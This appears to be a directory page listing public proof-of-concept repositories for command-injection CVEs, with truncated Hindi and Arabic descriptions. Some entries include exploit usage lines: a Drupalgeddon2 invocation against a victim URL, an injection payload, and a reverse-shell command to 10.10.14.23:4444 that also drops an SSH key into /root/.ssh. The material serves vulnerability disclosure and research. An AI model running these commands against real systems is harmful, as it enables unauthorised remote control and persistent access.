CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 पालो अल्टो ओएस कमांड इंजेक्शन विक्रेता विवरण GlobalProtect फीचर में एक कमांड इंजेक्शन भेद्यता, पालो अल्टो नेटवर्क्स PAN-OS सॉफ़्टवेयर के विशिष्ट PAN-OS संस्करणों और विशिष्ट फीचर कॉन्फ़िगरेशन के लिए, एक अप्रमाणित हमलावर को फ़ायरवॉल पर रूट विशेषाधिकारों के साथ मनमाना कोड...

CVE-2021-32161

..| XSStoCommandInjection2 |.. الوصف : استغلال هجوم Cross-Site Scripting XSS المنعكس للحصول على Command Injection عبر ميزة File Manager في Webmin الإصدار المختبر : Webmin 1.973 أحدث نسخة على GitHub بتاريخ 07/03/2021 نوع الهجوم: عن بُعد التأثير : تنفيذ الأوامر كود الاستغلال POC : بائع المنتج :...

CVE-2025-29279

CVE-2025-29279 इस कमज़ोरी का शोषण करने के लिए, हमलावर को डायग्नोस्टिक्स अनुभाग में Traceroute6 डायग्नोस्टिक्स में "Host Address" में पेलोड example.com;echo 'testing' डालना होगा।...

CVE-2020-15778-SCP-Command-Injection-Check

CVE-2020-15778 – OpenSSH SCP कमांड इंजेक्शन भेद्यता पता लगाने की स्क्रिप्ट परिचय CVE-2020-15778 एक कमांड इंजेक्शन भेद्यता है जो OpenSSH द्वारा प्रदान की गई scp उपयोगिता में पाई गई संस्करण ≤ 8.3p1. यह समस्या एक हमलावर को क्लाइंट सिस्टम पर मनमाने कमांड निष्पादित करने की अनुमति देती है यदि scp को एक...

drupalgeddon2

drupalgeddon2 استغلال لـ CVE-2018-7600. الاستخدام: drupalgeddon2 خيارات -h: رابط الهدف -c: أمر نظام التشغيل أمثلة: drupalgeddon2.py -h http://www.victim.com -c 'ls -la' مبني على https://github.com/FireFart/CVE-2018-7600...

CVE-2023-47218

CVE-2023-47218 CVE-2023-47218: حقن أوامر غير مصادق عليه في QNAP QTS و QuTS Hero تم الإصلاح إثبات المفهوم POST /cgi-bin/quick/quick.cgi?func=switchos&todo=uploaffirmwareimage HTTP/1.1 Host: 192.168.86.42:8080 User-Agent: Mozilla Macintosh Accept: / Content-Length: 164 Content-Type:...

CVE-2024-8190

CVE-2024-8190: حقن أوامر بعد المصادقة في Ivanti Cloud Service Appliance إثبات مفهوم لاستغلال CVE-2024-8190 على الأجهزة القابلة للاستغلال. منشور المدونة السبب الجذري ومؤشرات الاختراق هنا: https://www.horizon3.ai/attack-research/cisa-kev-cve-2024-8190-ivanti-csa-command-injection/ الاستخدام % pytho...

CVE-2020-24572-POC

CVE-2020-24572-POC includes/webconsole.php में RaspAP 2.5 में एक समस्या पाई गई। प्रमाणित पहुंच के साथ, एक हमलावर एक गलत कॉन्फ़िगर और लगभग असीमित वेब कंसोल का उपयोग करके इस सॉफ़्टवेयर को चलाने वाले अंतर्निहित OS पर हमला कर सकता है, और सिस्टम पर कमांड निष्पादित कर सकता है जिसमें फ़ाइलों को अपलोड कर...

CVE-2022-42889

त्वरित आरंभ sudo apt install golang Python की तरह चलाने के लिए: go run main.go arg1 arg2 निष्पादन योग्य बनाने के लिए: go build main.go उपयोग: non@woa:/program$ go run main.go - Usage: ./program vulnerable/web?param= 'ls -la' करने के लिए: रिवर्स शेल क्षमताएँ...

CVE-2016-3714.ansible.role

دور Ansible: CVE-2016-3714 إصلاح مشكلة أمان حقن الأوامر في ImageMagick CVE-2016-3714 باستخدام Ansible. المتطلبات أي جهاز مثبت عليه ImageMagick قبل الإصدار v6.7.7.10. متغيرات الدور يجب أن يُدرج هنا وصف للمتغيرات القابلة للتعيين لهذا الدور، بما في ذلك أي متغيرات موجودة في defaults/main.yml...

CVE-2007-2447

CVE-2007-2447 ثغرة حقن الأوامر عن بُعد CVE-2007-2447، تسمح للمهاجمين عن بُعد بتنفيذ أوامر اعتباطية عن طريق تحديد اسم مستخدم Samba يحتوي على أحرف meta shell...

CVE-2024-53376

CVE-2024-53376 حقن أوامر نظام التشغيل المُوثَّق في CyberPanel الأجهزة المتأثرة إصدارات CyberPanel الأقدم من 2.3.8 معرضة لحقن أوامر نظام التشغيل. لاستغلال الثغرة، يجب على المهاجم أولاً تسجيل الدخول إلى لوحة الويب. تم الاختبار على CyberPanel 2.3.7 التفاصيل الفنية يمكن للمهاجم استخدام طلب HTTP OPTIO...

CVE-2022-1292

CVE-2022-1292 POC विवरण The crehash script does not properly sanitise shell metacharacters to prevent command injection. This script is distributed by some operating systems in a manner where it is automatically executed. On such operating systems, an attacker could execute arbitrary commands wit...

CVE-2022-36446-Webmin-RCE

CVE-2022-36446 — Webmin 1.997 RCE प्रमाणित यह शोषण Webmin के 1.997 से पहले के संस्करणों में रिमोट कोड निष्पादन RCE भेद्यता के लिए है, सॉफ्टवेयर पैकेज अपडेट मॉड्यूल के माध्यम से। यह कैसे काम करता है? Webmin का Software Package Updates मॉड्यूल सिस्टम में पास करने से पहले u पैरामीटर को सही ढंग से...

CVE-2021-32159

..| CSRFtoCommandInjection1 |.. الوصف : استغلال هجوم تزوير الطلب عبر المواقع CSRF للحصول على حقن أوامر Command Injection عبر ميزة الرفع والتنزيل في Webmin الإصدار المختبر : Webmin 1.973 أحدث إصدار على GitHub 07/03/2021 نوع الهجوم: عن بُعد التأثير : تنفيذ أوامر كود الاستغلال POC : بائع المنتج :...

CVE-2019-0232

CVE-2019-0232 — ثغرة تنفيذ الأوامر عن بعد في Apache Tomcat CGI Servlet إثبات مفهوم تعليمي مخصص لمسابقات CTF واختبار الاختراق المصرح به فقط. تشغيل هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني. نظرة عامة على الثغرة CVE-2019-0232 هي ثغرة تنفيذ أوامر عن بعد في Apache...

CVE-2023-0669

CVE-2023-0669 CVE-2023-0669 GoAnywhere MFT कमांड इंजेक्शन कमजोरी...

the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt

CVE-2026-71960 — سر JWT مكتوب بشكل ثابت في وسيط MQTT الخاص بجهاز Cudy WR3000 2.0 أدوات PoC لمقال Hunt-Benito «المفتاح نفسه يفتح كل الأقفال: CVE-2026-71960 — سر JWT مكتوب بشكل ثابت في وسيط MQTT الشبكي لجهاز Cudy WR3000»...

CVE-2023-39362-cacti-snmp-command-injection-poc

Cacti CVE-2023-39362 में कमांड इंजेक्शन कमजोरी - PoC यह रेपो इस रेपो से फोर्क किया गया है: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application Cacti एक ओपन-सोर्स परिचालन निगरानी और दोष प्रबंधन फ्रेमवर्क है, जो अपने उपयोगकर्ता समुदाय की गतिशील आवश्यकताओं को पूरा करने के लिए...

CVE-2024-47533

شل عكسية python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' أمر بسيط python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' إسقاط مفتاح SSH python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p /root/.ssh &&...